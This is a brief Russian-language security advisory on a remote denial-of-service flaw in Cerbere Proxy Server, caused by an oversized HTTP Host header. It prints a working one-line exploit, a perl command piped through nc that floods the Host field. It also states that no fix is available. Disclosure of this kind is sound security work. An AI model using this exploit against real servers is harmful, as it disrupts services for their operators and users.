Удаленный отказ в обслуживании в Cerbere Proxy Server

Описание: Уязвимость обнаружена в Cerbere Proxy Server. Удаленный пользователь может вызвать условия отказа в обслуживании.

Удаленный пользователь может представить HTTP GET запрос с длинным полем 'Host:' заголовка, чтобы заставить сервер использовать все доступные ресурсы CPU.

Пример/Эксплоит:

perl -e 'print "GET / HTTP/1.1\r\n" . "Host: " . "A" x 90000 . "\r\n" . "\r\n\r\n" ' | nc "Proxy_IP"

URL производителя: http://cerbere.szym.org/

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.